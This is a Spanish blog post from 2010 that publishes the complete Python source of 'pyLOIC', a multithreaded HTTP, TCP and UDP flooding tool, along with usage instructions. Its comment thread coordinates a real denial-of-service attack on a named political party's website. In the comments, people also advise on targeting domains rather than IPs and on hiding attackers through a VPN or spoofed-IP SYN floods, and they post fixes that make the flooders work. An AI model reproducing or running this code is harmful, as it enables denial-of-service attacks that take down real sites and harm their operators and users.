sábado, 6 de noviembre de 2010

Clon de LOIC en python

Cierto anónimo sugirió hacer un clon de LOIC en python, aquí está un posible código, dividido en 5 archivos, no tiene interfaz gráfica, pero implementa el flooder de los 3 protocolos de LOIC.

Actualización: subido a github https://github.com/kenkeiras/pyLOIC



(Los argumentos son)

Uso: ./pyloic.py {http | tcp | udp} -h <host> [-p <puerto>] [-t <número de hilos>] [-m Message] [-k]

http, tcp o udp: El protocolo escogido.
-h <host>: La dirección (IP o hostname).
-p <puerto>: El puerto al que se dirigirán las conexiones (por defecto el 80).
-t <número de hilos>: Número de hilos que se ejecutan a la vez (por defecto 10).
-m Message: El mensaje que se enviará.
-k: En TCP y HTTP no espera a que el otro lado de la conexión la cierre, en UDP detiene el script si el puerto no es accesible.

El script se finaliza si se pulsa [Enter] o se produce algún otro tipo de Excepción en el hilo principal (no los flooders), como pulsar Ctrl-C.

pyloic.py: Archivo principal, lee los argumentos y llama al flooder adecuado

#!/usr/bin/env python
# -*- coding: utf-8 -*-


import sys, os, http_flood, tcp_flood, udp_flood
from socket import gethostbyname

argc = len(sys.argv)  # Número de agumentos

if (argc < 4): # Si no se incluyeron los argumentos necesarios
    print >>sys.stderr, "Uso:", sys.argv[0], """{http | tcp | udp} -h <host> [-p <puerto>] [-t <número de hilos>] [-m Message] [-k]
"""
    exit(1)

host = "" # Dirección "objetivo"
port = 80 # Puerto "objetivo"
flooder_list = { # Diccionario de flooders
    "http": http_flood.http_flooder, # Flooder HTTP
    "tcp": tcp_flood.tcp_flooder,    # Flooder TCP
    "udp": udp_flood.udp_flooder     # Flooder UDP
}

kill = False   # Se cerraran las conexiones premeturamente
               # O se finalizará el programa si es UDP y el
               # Puerto no es alcanzable

threadNum = 10 # Número de hilos
flooder = None # Flooder que se utilizará
message = "Blah blah blah!!!" # Mensaje enviado

# Se leen los argumentos
i = 1
while (i < argc): 
    if (sys.argv[i] in flooder_list): # Tipo de flood
        flooder = flooder_list[sys.argv[i]]

    elif (sys.argv[i] == "-h"): # Host
        try:
            host = sys.argv[i + 1]
            i += 1
        except:
            print >>sys.stderr, "Parámetros inválidos"
            exit(1)

    elif (sys.argv[i] == "-p"): # Puerto
        try:
            port = int(sys.argv[i + 1])
            if (port < 1 or port > 65535):
                raise Exception("Inválid port")
            i += 1
        except:
            print >>sys.stderr, "Parámetros inválidos"
            exit(1)
        
    elif (sys.argv[i] == "-t"): # Hilos
        try:
            threadNum = int(sys.argv[i + 1])
            if (port < 1):
                raise Exception("Inválid thread number")
            i += 1
        except:
            print >>sys.stderr, "Parámetros inválidos"
            exit(1)
        
    elif (sys.argv[i] == "-k"): # Puerto
        kill = True            

        
    elif (sys.argv[i] == "-m"): # Mensaje
        try:
            message = sys.argv[i + 1]
            i += 1
        except:
            print >>sys.stderr, "Parámetros inválidos"
            exit(1)
        
    else:
        print >>sys.stderr, "Parámetro desconocido:", sys.argv[i]
        exit(1)
        


    i += 1

# Si no se especifica el host
if (host == ""):
    print >>sys.stderr, "No se ha especificado el host"
    exit(1)

# Se resuelve el host una vez, para no hacer cuello de botella
host = gethostbyname(host)

threadArr = [] # Para evitar perder los hilos

# Se crean los hilos de flooder
for i in xrange(threadNum): 
    thread = flooder(host, port, message, kill) # Se crea un hilo de flooder
    thread.start() # Se ejecuta el hilo
                        
    threadArr.append(thread) # Y se guarda el hilo
                             #Para evitar que se pierda :)

try: # Si usan Ctrl-C levanta una excepción
    raw_input("") # Con [enter] saldrá
except: # Que hay que ignorar
    pass
os._exit(0)


flooder.py: La base de cada clase de flooder:

# -*- coding: utf-8 -*-
import threading

# Flooder básico
class flooder(threading.Thread): 
    def __init__(self, host, port, message, kill = False):
        threading.Thread.__init__(self) # Inicializa el hilo
        self.host = host   # Guarda el host ...
        self.port = port   # El puerto ...
        self.kill = kill   # Si se cerrará ... 
        self.message = message # Y el mensaje


udp_flood.py: El flooder de UDP, hereda el __init__ y el ser un hilo de flooder.py

# -*- coding: utf-8 -*-
import flooder, socket, os

# UDP Flooder
class udp_flooder(flooder.flooder):
    def run(self):
        sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) # Crea un socket
        sock.connect((self.host, self.port)) # Le asigna una IP/puerto
        while (True):
            try:
                sock.send(self.message) # Envía el mensaje
            except:
                if (self.kill): # Si no pudo llegar...
                    print "Destination port unreachable"
                    os._exit(2)


tcp_flood.py: Flooder de TCP

# -*- coding: utf-8 -*-
import flooder, socket, time

#Tamaño de bloques que se leeran al esperar por el final
BUFF_LEN = 1024

# TCP Flooder
class tcp_flooder(flooder.flooder):
    def run(self):
        try:
            while (True):
                # Se crea el socket
                sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                # Se conecta al host
                sock.connect((self.host, self.port))
                # Se envía el mensaje dentro de una petición HTTP
                sock.send(self.message)

                # Si se cierra al momento...
                if (self.kill): 
                    sock.close()
                # Si espera a que el otro lado lo cierre...
                else:
                    # Espera a que cierre
                    while (True):
                        if (sock.recv(BUFF_LEN) < 1):
                            break
                    sock.close()

        except: # Si algo falla
            time.sleep(10) # Esperar 10s y volver a la carga


Y http_flood.py: Flooder de HTTP

# -*- coding: utf-8 -*-
import flooder, socket, time
from urllib import urlencode

#Tamaño de bloques que se leeran al esperar por el final
BUFF_LEN = 1024

# HTTP Flooder
class http_flooder(flooder.flooder):
    def run(self):
        # Prepara el mensaje para que no se salga del HTTP
        message = urlencode({self.message:""})[: -1] 
        try:
            while (True):
                # Se crea el socket
                sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                # Se conecta al host
                sock.connect((self.host, self.port))
                # Se envía el mensaje dentro de una petición HTTP
                sock.send("GET /" + message +" HTTP/1.1\r\n\r\n")

                # Si se cierra al momento...
                if (self.kill): 
                    sock.close()
                # Si espera a que el otro lado lo cierre...
                else:
                    # Espera a que cierre
                    while (True):
                        if (sock.recv(BUFF_LEN) < 1):
                            break
                    sock.close()

        except: # Si algo falla
            time.sleep(10) # Esperar 10s y volver a la carga


Eso es todo, un clon de LOIC en casi 200 líneas (199 =P )

18 comentarios:

  1. Interesante... no se mucho de python, pero se ve muy compacto.

    ResponderEliminar
  2. mañana hay un ataque a páginas de partidos políticos que van a votar a favor. Tengo una pregunta técnica, para lanzar tu programa contra http://www.eaj-pnv.eu/eusk/ hay que poner:
    ./pyloic.py http eaj-pnv.eu/eusk/
    ¿Es correcto?

    ResponderEliminar
  3. Sep, porque "#!/usr/bin/env python" está al principio del fichero y el sistema sabrá como ejecutarlo.

    Eso sí, tendrás que hacerlo ejecutable primero con un "chmod a+x pyloic.py".

    Ante las dudas, ejecutalo con el cliente de python con "python http eaj-pnv.eu/eusk/" o como se llame en tu sistema.

    Obviamente, sea cual sea el caso, tienes que tener instalado python y las librerías que use el script que quieras ejecutar.

    ResponderEliminar
  4. Hola, lo poco que sé es de html, css y php. No tengo ni idea de C o python, comparto un enlace con una interfaz de usuario sencillota que hace lo mismo que este código por lo que leo.

    http://freesoftwareando.com/2010/12/19/simple-pyloic-gui/

    Funciona de manera anónima? quien recibe el "flood" puede saber la ip desde donde llega? puede funcionar a través de un proxy o algo parecido que camufle la ip?

    ResponderEliminar
  5. Por lo que veo kenkeiras han venido algunas visitas por aquí para preguntar.

    Voy a dejar alguna respuesta:

    El programa es un clon de LOIC escrito en PYTHON. EL autor del programa es kenkeiras.
    Se necesita python para ejecutarlo. En linux normalmente viene instalado ya, en windows tendreis que descargar python.

    En la web que comenta uno de los anonimos se puede encontrar una GUI cutre que permite ejecutarlo de forma gráfica y tambien desde la consola.
    Si ejecutamos desde consola hemos de usar la sintaxis de arriba al ejecutar, si usamos la GUI cutre lanzaremos el programa asi: python gui.py

    No useis proxys y no ataqueis a ips, según comentan las malas lenguas es mejor atacar a el dominio por si cambian de ips (que suelen hacerlo).

    Por lo que veo el programa lo estan usando bastantes personas, en mi web lleva ya 734 descargas.

    ResponderEliminar
  6. Gracias a fanta y al anónimo por contestar las preguntas mientras estaba fuera, creo que solo queda una

    "Funciona de manera anónima? quien recibe el "flood" puede saber la ip desde donde llega? puede funcionar a través de un proxy o algo parecido que camufle la ip? "

    Como el LOIC original no es anónimo (espero poder postear uno que lo sea a mediodía, pero necesitará una librería especial y puede que sea un lío). El receptor sí puede saber de donde llega (la idea es ser muchos, demasiados). Y no es recomendable utilizarlo a través de un proxy porque le atacarías a el, pero eso no está muy claro.

    ResponderEliminar
  7. hola, soy FC como se utiliza el loic ?

    ResponderEliminar
  8. kenkeiras:

    No sé cómo era el código original, pero probando el flooder http, puedo decir que no sirve de mucho, por un par de bugs importantes. Primero: la comparación del resultado de recv está mal, porque retorna un string, no un entero (como en C). Lo que hacía que siempre de verdadera la comparación, y luego de cerrar la conexión entrase en un loop infinito, con dos consecuencias: el flood no sigue, y la CPU se muere.

    Además, el mecanismo para atrapar excepciones está mal, porque luego de hacer el sleep el thread se muere.

    El código corregido es éste: http://pastebin.com/AbCwxzPy

    ResponderEliminar
  9. Mismo problema en el flooder tcp: http://pastebin.com/kpUY6Njs

    ResponderEliminar
  10. @tincho, gracias por la correccion, ahora lo añado que sinó esta siempre con "kill" activado :P

    ResponderEliminar
  11. Creo que si todo@s queremos colaborar masivamente, hay que hacerlo más sencillo, un manual con capturas y el hilo para descargar el Loic y punto. Porque a mucha gente sensibilizada con la causa, todo esto le suena a chino, en otras palabras, ven que esto es "para los que saben del tema" y vuelven a cerrar la pág. es una pena.

    ResponderEliminar
  12. para no usar proxy y no dejar tu ip se puede usar hotspotshield un VPN que anonimiza tu pc sin necesidad de usar proxy ;)

    ResponderEliminar
  13. @ultimo anónimo: al fin y al cabo es como si fuera un proxy, pero si eres capaz de instalar scapy se puede utilizar una IP falsa con los ataques SYN (en la versión 0.2 ) sin necesidad de nada por el medio ;)
    [ http://codigoparallevar.blogspot.com/2010/12/pyloic-02.html ]

    Instalar scapy en windows: http://bit.ly/ijVhtD
    Instalar scapy en Gnu/Linux: sudo apt-get install python-scapy

    ResponderEliminar
  14. ¿Podrías poner un contador total de peticiones entre todos los hilos? Así se vería bien cuantas peticiones por segundo se mandan y el total.

    Deberías subir el código a github o similar para facilitar su descarga y actualización, en vez de andar copiando y pegando de este post ;)

    ResponderEliminar
  15. Hecho, habemus github https://github.com/kenkeiras/pyLOIC

    ResponderEliminar
  16. Kenkeiras: bueno, me alegro que hayas agregado el parche, pero viendo tu comentario y el último post, creo que no me has entendido. Lo que arregla no es que esté siempre en modo kill, sino que realmente el ataque no se hacía, ya que luego de la primera conexión quedaba loopeando para siempre en un recv. No sé si vos has visto otro comportamiento, pero acá el strace me da la razón.

    Saludos.

    ResponderEliminar
  17. Comprendo, gracias de nuevo por la correccion :D

    ResponderEliminar